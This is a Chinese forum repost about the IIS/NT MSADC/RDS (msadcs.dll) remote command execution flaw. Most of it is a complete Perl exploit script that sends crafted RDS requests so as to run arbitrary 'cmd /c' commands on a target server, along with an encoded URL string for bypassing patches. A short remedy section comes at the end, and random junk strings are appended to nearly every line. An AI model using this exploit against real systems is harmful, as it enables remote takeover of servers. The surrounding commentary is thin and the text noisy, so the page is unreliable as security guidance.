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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) H{tOCYyD  
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涉及程序: 2G:{FY  
Microsoft NT server $RFu m'`5  
G/RheH G  
描述: <GFB'`L  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 KAZkVL  
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详细: o}^vREO  
如果你没有时间读详细内容的话,就删除: I3E8vi%B.  
c:\Program Files\Common Files\System\Msadc\msadcs.dll iDkWW  
有关的安全问题就没有了。 `bi_)i6Low  
fPk9(X;G!p  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 b8b PK<  
``YL] <<  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 B43#9CK`o  
关于利用ODBC远程漏洞的描述,请参看: szsZFyW )+  
, LPFb6o  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm zH\;pmWiN9  
j n&9<"W  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 A@Yi{&D_Q]  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp %Pvb>U(Xs  
@okm@6J*X  
这里不再论述。 4z 3$  
I\4`90uBN  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: :c/=fWM%  
hjp?/i%TQ  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset y@8399;l  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 9q@YE_ji  
(XIq?c1T  
#]\G*>{  
#将下面这段保存为txt文件,然后: "perl -x 文件名" yI|?iBc7nC  
vhe Ah`u^&  
#!perl ) ImIPSL  
# q2U"k  
# MSADC/RDS 'usage' (aka exploit) script R^O)fL0_  
# LAVt/TcZS|  
# by rain.forest.puppy ;eEtdoy  
# H2_>Av{m  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me Zz*mf+  
# beta test and find errors! [6gHi.`p'  
%Ja{IWz9L  
use Socket; use Getopt::Std; E,?aBRxy  
getopts("e:vd:h:XR", \%args); 8Carg~T@  
@U.}Ei  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; m=l3O:~J  
]3# @t:>  
if (!defined $args{h} && !defined $args{R}) { 68br  
print qq~ +n~rM'^4/  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 9M~$W-5  
-h <host> = host you want to scan (ip or domain) \,#4+&4b  
-d <seconds> = delay between calls, default 1 second 7Hlh (k  
-X = dump Index Server path table, if available >5},qs:lZ  
-v = verbose 3$G25=eN  
-e = external dictionary file for step 5 2F@<{v4  
)xy{[ K|M(  
Or a -R will resume a command session 9l^  
M,U=zNPnk  
~; exit;} L$?~TY  
Zu73x#pI  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 3bL2fsn5  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} W oG  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} Oy`\8*Uy__  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); =xWW+w!r  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} dSD}NM  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 9 v3Nba  
&$Ip$"H  
if (!defined $args{R}){ $ret = &has_msadc; 2<./HH*f  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ;}9Ws6#XQs  
^p%+rB.j[  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" jP6G.aiO  
. "cmd /c "; tfIBsw.  
$in=<STDIN>; chomp $in; &MLhCekY  
$command="cmd /c " . $in ; =<uz'\Ytv%  
90696v.  
if (defined $args{R}) {&load; exit;} 3A/MFQ#2  
8ewEdnE   
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ZrT|~$*m`  
&try_btcustmr; <;Z~ vZ]  
-ns a3P  
print "\nStep 2: Trying to make our own DSN...";  X_S]8Aa  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; F7u%oLjr  
(=B7_jrl  
print "\nStep 3: Trying known DSNs..."; -@?>nLQb  
&known_dsn; bN %MT#X  
) G&3V  
print "\nStep 4: Trying known .mdbs..."; UdgI<a~`k6  
&known_mdb; Uy'ZL(2  
WSccR  
if (defined $args{e}){ 1,D ^,  
print "\nStep 5: Trying dictionary of DSN names..."; aL6 5t\2  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } @9 tv N}  
?O^:j!C6  
print "Sorry Charley...maybe next time?\n"; qGUe0(  
exit; <.XoC?j  
h0QQP  
############################################################################## AQGE(%X  
& b2(Y4  
sub sendraw { # ripped and modded from whisker aVL%-Il}  
sleep($delay); # it's a DoS on the server! At least on mine... xH-k~#  
my ($pstr)=@_; (?wKBUi  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || *njB fH'  
die("Socket problems\n"); #`wfl9tj  
if(connect(S,pack "SnA4x8",2,80,$target)){ R.$Y1=U6  
select(S); $|=1; D"aQbQP  
print $pstr; my @in=<S>; 6j![m+vo%  
select(STDOUT); close(S); WoR**J?}w  
return @in; 5 : >  
} else { die("Can't connect...\n"); }} v333z<<S  
4B>|Wft{p]  
############################################################################## / UBAQ8TR  
DuZ]g#  
sub make_header { # make the HTTP request Rzj!~`&N  
my $msadc=<<EOT J=bOw//  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 WuXRL}!\,  
User-Agent: ACTIVEDATA mw.aavB  
Host: $ip ozwqK oE  
Content-Length: $clen r/:'}os;  
Connection: Keep-Alive @TG~fJSA12  
)Em,3I/.l  
ADCClientVersion:01.06 o : DnZN  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 #?| z&9  
3{E}^ve  
--!ADM!ROX!YOUR!WORLD! Mi-9sW  
Content-Type: application/x-varg +& Qqu`)?F  
Content-Length: $reqlen }('QIvq2  
6% axbB  
EOT K?eo)|4)DB  
; $msadc=~s/\n/\r\n/g; g 0=t9J  
return $msadc;} v65r@)\`  
;:1mv  
############################################################################## OPh@H.)^  
$$>,2^qr&L  
sub make_req { # make the RDS request 5< nK.i,  
my ($switch, $p1, $p2)=@_; t":>O0>cz  
my $req=""; my $t1, $t2, $query, $dsn; +}'K6x_  
"FD~XSRL  
if ($switch==1){ # this is the btcustmr.mdb query ^el:)$  
$query="Select * from Customers where City=" . make_shell(); Pk2 "\y@q/  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . :/Zh[Q@EG  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} NE nP3A  
0nn# U  
elsif ($switch==2){ # this is general make table query w-/Tb~#E  
$query="create table AZZ (B int, C varchar(10))"; _Y~?.hs^  
$dsn="$p1";} v:b%G?o  
|9JYg7<  
elsif ($switch==3){ # this is general exploit table query I<#kw)W!  
$query="select * from AZZ where C=" . make_shell(); 4K% YS  
$dsn="$p1";} "fwuvT 1  
<VPtbM@(m  
elsif ($switch==4){ # attempt to hork file info from index server 1yf&ck1R  
$query="select path from scope()"; H[oi? {L  
$dsn="Provider=MSIDXS;";} ?RyvM_(N6  
U:(t9NX b  
elsif ($switch==5){ # bad query ?+_"2XY  
$query="select"; (ZJ_&8C#  
$dsn="$p1";} > [7vX m4  
m 9Q{ )?J7  
$t1= make_unicode($query); CiF bk&-g  
$t2= make_unicode($dsn); Ha\hQ'99  
$req = "\x02\x00\x03\x00"; s=+G%B'  
$req.= "\x08\x00" . pack ("S1", length($t1)); {[dqXG$v `  
$req.= "\x00\x00" . $t1 ; o)DKP>IM#  
$req.= "\x08\x00" . pack ("S1", length($t2)); JJa?"82FXZ  
$req.= "\x00\x00" . $t2 ; i[ lH@fJm_  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; O%{>Zo_<  
return $req;} ],m-,K  
eSf:[^  
############################################################################## {^iV<>J  
)/w2]d/9  
sub make_shell { # this makes the shell() statement dY^~^<{Lj  
return "'|shell(\"$command\")|'";} v4zARE9#  
wVB8PO8  
############################################################################## iBt5aUt  
Z m>69gl  
sub make_unicode { # quick little function to convert to unicode 1owoh,V6  
my ($in)=@_; my $out; 6ZJQ '9f  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } &bNj/n/  
return $out;} #/6X44 *u  
<Do89  
############################################################################## >~ :]+q  
6w#v,RDEu  
sub rdo_success { # checks for RDO return success (this is kludge) e V#H"fM  
my (@in) = @_; my $base=content_start(@in); c{0?gt.  
if($in[$base]=~/multipart\/mixed/){ Q=E6ZxH5;  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ] a()siT  
return 0;} #t*c*o  
7t QiKrhp  
############################################################################## LgYzGlJp  
P7!Sc  
sub make_dsn { # this makes a DSN for us 3m'6cMQ  
my @drives=("c","d","e","f"); BDg /pDnwg  
print "\nMaking DSN: "; G<I5%Yo6G  
foreach $drive (@drives) { aY~IS?! ;  
print "$drive: "; 'Z[R*Ikzq  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . dEn hNPeRl  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" *BV .zbGm  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); #;)7~69  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; S3r\)5%;  
return 0 if $2 eq "404"; # not found/doesn't exist s Y,3  
if($2 eq "200") { el<nY"c  
foreach $line (@results) { rkrt.B  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} *9PQJeyR  
} return 0;} 6 s/O\A  
nK[$ID  
############################################################################## -=Hr|AhE  
+( d2hSIF  
sub verify_exists { Phczf  
my ($page)=@_; f.{0P-Np  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ( KrIMZ  
return $results[0];} ~kga+H  
= zSrre  
############################################################################## Ra5cfkH;  
WF]:?WE%  
sub try_btcustmr { hG U &C]  
my @drives=("c","d","e","f"); ),_bDI L+  
my @dirs=("winnt","winnt35","winnt351","win","windows"); T/ov0l_  
f$/D?q3N  
foreach $dir (@dirs) { w>e OERZa  
print "$dir -> "; # fun status so you can see progress okW3V}/x/z  
foreach $drive (@drives) { iT5%X   
print "$drive: "; # ditto A@4Cfb@  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ~Hq 2'  
$reqlenlen=length( "$reqlen" ); l#Tm`br  
$clen= 206 + $reqlenlen + $reqlen; r]yq #T`z  
,^(T^ -  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); [ kknY+n1  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} QZY (S*Up  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} VmW_,  
UkC\[$-"\  
############################################################################## cjL!$OE6  
;%)i/MGEB  
sub odbc_error { XpGom;z^c  
my (@in)=@_; my $base; [O3R(`<e5  
my $base = content_start(@in); F^ f]*MhT"  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this `u-}E9{  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; n\ZFPXP  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; &xVWN>bd^  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Q'N<jX[  
return $in[$base+4].$in[$base+5].$in[$base+6];} 0-FbV,:;  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; +RM3EvglDQ  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . mnePm{  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} $T6<9cB@  
>&TktQO_T  
############################################################################## T'XRl@  
OCd[P1Y]  
sub verbose { SaNx;xgi  
my ($in)=@_; $]vR,E  
return if !$verbose; {>:2Ff]O:  
print STDOUT "\n$in\n";} cIX59y#7  
:p{iBDA  
############################################################################## f,$CiZ"  
`4o;Lz~  
sub save { &45.*l|mo  
my ($p1, $p2, $p3, $p4)=@_; X!@Gv:TD  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; gyPF!"!5dq  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; h ( Z7a%_  
close OUT;} O;XF'r_  
Og["X0j  
############################################################################## uGv+c.~[j  
1+^c3Dd`  
sub load { o)$sZ{` ="  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; f?]cW h%  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); )z aMycW  
@p=<IN>; close(IN); Vq*p?cF .  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); @U&|38  
$target= inet_aton($ip) || die("inet_aton problems"); GV9"8M Z6  
print "Resuming to $ip ..."; .sLx6J%  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; b~|B(lL6Xm  
if($p[1]==1) { {kC]x2 U  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;  j>6{PDaT  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; r"n)I$  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); h'bxgIl'`  
if (rdo_success(@results)){print "Success!\n";} @/9> /?JP  
else { print "failed\n"; verbose(odbc_error(@results));}} zIL.R#|D=  
elsif ($p[1]==3){ {3;4=R3  
if(run_query("$p[3]")){ ScI9.{  
print "Success!\n";} else { print "failed\n"; }} f; 22viE  
elsif ($p[1]==4){ ~6OdPD  
if(run_query($drvst . "$p[3]")){ m?csake.Me  
print "Success!\n"; } else { print "failed\n"; }} wiutUb Y  
exit;} ' ft  |  
X9P-fF?0  
############################################################################## PBUc9/  
)a.U|[:y[+  
sub create_table { .8,lhcpY  
my ($in)=@_; 2@ad! h  
$reqlen=length( make_req(2,$in,"") ) - 28; -Oo$\=d  
$reqlenlen=length( "$reqlen" ); 5%Q!R%  
$clen= 206 + $reqlenlen + $reqlen; A}%sF MA  
my @results=sendraw(make_header() . make_req(2,$in,"")); g><sZqj8tt  
return 1 if rdo_success(@results); "e(N h%t  
my $temp= odbc_error(@results); verbose($temp); q[+];  
return 1 if $temp=~/Table 'AZZ' already exists/; #):FXB$a  
return 0;} shi#K<gVC  
?e BN_a,r6  
############################################################################## 55#H A?cR  
$`uL^ hlj]  
sub known_dsn { uv@4/M`  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go !6kLg1  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 8\[6z0+;  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", LOQEU? z  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); m\Dbb.vBvW  
# wG}T .*  
foreach $dSn (@dsns) { 2nw P-i  
print "."; FuD$jsEw  
next if (!is_access("DSN=$dSn")); kweypIB  
if(create_table("DSN=$dSn")){ {RzlmDStV  
print "$dSn successful\n"; kY*D s;  
if(run_query("DSN=$dSn")){ Pp}j=$&j\  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { `=FfzL  
print "Something's borked. Use verbose next time\n";}}} print "\n";} X&K1>dgWP  
$FD0MrB_+  
############################################################################## P'g$F<~V  
!#>{..}}3  
sub is_access { _xbVAI4  
my ($in)=@_; x1TB (^aX  
$reqlen=length( make_req(5,$in,"") ) - 28; 2cww7z/B  
$reqlenlen=length( "$reqlen" ); nzU@}/A/  
$clen= 206 + $reqlenlen + $reqlen; ~*H!zKIx  
my @results=sendraw(make_header() . make_req(5,$in,"")); :HwB+Bjy  
my $temp= odbc_error(@results); 9XS'5AXN  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ^Zg"`&E  
return 0;} #wt#-U;  
,3x3&c  
############################################################################## oJ5V^.  
!"_\5$5i<X  
sub run_query { fu33wz1$}B  
my ($in)=@_; "*?^'(yA@  
$reqlen=length( make_req(3,$in,"") ) - 28; * c xYB  
$reqlenlen=length( "$reqlen" ); ab6KK$s  
$clen= 206 + $reqlenlen + $reqlen; r=u>TA$  
my @results=sendraw(make_header() . make_req(3,$in,"")); OJ&~uV>2  
return 1 if rdo_success(@results); ]m YY1%H8M  
my $temp= odbc_error(@results); verbose($temp); 'H97D-86/  
return 0;} >d_O0a*W-  
hMDy;oQ  
############################################################################## AuWEy-q?  
p6|0JBm  
sub known_mdb { mI}1si=$  
my @drives=("c","d","e","f","g"); @<l7"y;\  
my @dirs=("winnt","winnt35","winnt351","win","windows"); }O8$?7j(  
my $dir, $drive, $mdb; 6tj +  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; q&7J1  
u>d,6 !  
# this is sparse, because I don't know of many G/=tC8eX  
my @sysmdbs=( "\\catroot\\icatalog.mdb", ]x?`&f8i  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", RH~KaV3  
"\\system32\\certmdb.mdb", 10t9Qv/  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% o AvX(  
Kk-A?ju@g  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", cR _ 8 5  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ]H%y7kH8  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", y1z4qSeM  
"\\cfusion\\cfapps\\security\\realm_.mdb", 1^$ vmULj  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", r6JdF!\d  
"\\cfusion\\database\\cfexamples.mdb", Q/L:0ovR  
"\\cfusion\\database\\cfsnippets.mdb", :IvKxOv  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",  qauk,t  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", # sm>;+J  
"\\cfusion\\brighttiger\\database\\cleam.mdb", QF Vy2 q  
"\\cfusion\\database\\smpolicy.mdb", >}Fe9Y.o  
"\\cfusion\\database\cypress.mdb", X)x$h{ OE  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", HOBM?|37CU  
"\\website\\cgi-win\\dbsample.mdb", EN'}+E 8  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", qE!.C}L +  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 9F@Q  
); #these are just !3E33  
foreach $drive (@drives) { }GRZCX>  
foreach $dir (@dirs){ 7:<co  
foreach $mdb (@sysmdbs) { hv2@}<r?  
print "."; [ lW~v:W  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ $QN}2lJ>  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; #[ipJ %  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ oYI7 .w  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; )w=ehjV^m  
} else { print "Something's borked. Use verbose next time\n"; }}}}} *\L\Bzm  
ncjtv"2R  
foreach $drive (@drives) { z^'3f!:3  
foreach $mdb (@mdbs) { *;5P65:u$>  
print "."; 1#/>[B  
if(create_table($drv . $drive . $dir . $mdb)){ #+>8gq^5  
print "\n" . $drive . $dir . $mdb . " successful\n"; cA m>f[  
if(run_query($drv . $drive . $dir . $mdb)){ rzsAnLxo  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; *#\da]"{  
} else { print "Something's borked. Use verbose next time\n"; }}}} h0_od/D1r  
} oF7o"NHaWa  
W^v3pH-y#  
############################################################################## 2Sz?r d,0f  
Bs:INvhYW  
sub hork_idx { f_I6g uDPz  
print "\nAttempting to dump Index Server tables...\n"; t4X:I&l-M:  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 8 6y)+h`  
$reqlen=length( make_req(4,"","") ) - 28; eEl}.W}  
$reqlenlen=length( "$reqlen" ); $qO%lJ:  
$clen= 206 + $reqlenlen + $reqlen; _[SW89zk  
my @results=sendraw2(make_header() . make_req(4,"","")); W"MwpV  
if (rdo_success(@results)){ {$5?[KD  
my $max=@results; my $c; my %d; ^~XsHmcQ  
for($c=19; $c<$max; $c++){ cdY|z]B  
$results[$c]=~s/\x00//g; > PHin%#  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; z3>ldT  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; MROe"Xj  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; x/7kcj!O  
$d{"$1$2"}="";} ROqz$yY  
foreach $c (keys %d){ print "$c\n"; } VI_8r5o  
} else {print "Index server doesn't seem to be installed.\n"; }} }04 EM  
G6@XRib3  
############################################################################## )i|0Ubn[|  
Jga;nrU  
sub dsn_dict { h0ml#A`h  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); U|yXJ.Z3  
while(<IN>){ \k&2nYVHf  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; kn9ul3c  
next if (!is_access("DSN=$dSn")); )jc`_{PQg  
if(create_table("DSN=$dSn")){ F/.nr  
print "$dSn successful\n"; s aY;[bz}  
if(run_query("DSN=$dSn")){ W w\M3Q`h  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { bYt [/K,  
print "Something's borked. Use verbose next time\n";}}} 0[E}[{t`  
print "\n"; close(IN);} K;)(fc  
hc#Sy:T>  
############################################################################## &puPn:_  
Q &~|P}  
sub sendraw2 { # ripped and modded from whisker ' m^nKG$"  
sleep($delay); # it's a DoS on the server! At least on mine... 9eR4?^(3!  
my ($pstr)=@_; M it3q  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || FglW|Hwy  
die("Socket problems\n"); ] 40@yrc  
if(connect(S,pack "SnA4x8",2,80,$target)){ CmP_9M?ce  
print "Connected. Getting data"; Q^trKw~XNy  
open(OUT,">raw.out"); my @in; rHngYcjR  
select(S); $|=1; print $pstr; Q>d<4]`  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} VkW N1A  
close(OUT); select(STDOUT); close(S); return @in; -}:; EGUtd  
} else { die("Can't connect...\n"); }} V)<Jj  
3:wN^!A}ve  
############################################################################## h$`zuz  
m-u3^\'  
sub content_start { # this will take in the server headers :LrB9Cf$n  
my (@in)=@_; my $c; +V Oczl=  
for ($c=1;$c<500;$c++) { v0q(k;Ya  
if($in[$c] =~/^\x0d\x0a/){ 6~b)Hc/  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 8@rddk  
else { return $c+1; }}} 4 x|yzUx  
return -1;} # it should never get here actually 1RHFWK5Si  
 :d) y  
############################################################################## ngLpiU0H&  
w#qE#g %1  
sub funky { !94qF,#1  
my (@in)=@_; my $error=odbc_error(@in); nY M2Vxi0+  
if($error=~/ADO could not find the specified provider/){ ){}1u ?  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; H6/n  
exit;} SB x<-^  
if($error=~/A Handler is required/){ ks19e>'5Q  
print "\nServer has custom handler filters (they most likely are patched)\n"; (pv6V2i  
exit;} }z,f8Yz  
if($error=~/specified Handler has denied Access/){ 2r^G;,{  
print "\nServer has custom handler filters (they most likely are patched)\n"; ;X;q8J^_K_  
exit;}} {J~VB~('  
OrP i ("/  
############################################################################## BWF>;*Xro  
jCp^CNbA  
sub has_msadc { ;M<R e  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 3sD/4 ?  
my $base=content_start(@results); nVyV]'-z  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); +d!"Zy2|B  
return 0;} <rI8O;\H  
C.`!?CW  
######################## *N65B#  
r7FFZNs!  
\DMZ M  
解决方案: c9O0YQ3&8  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll nq%GLUH   
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ]@A31P4t|  
0#: St  
拿出来充数 哈哈
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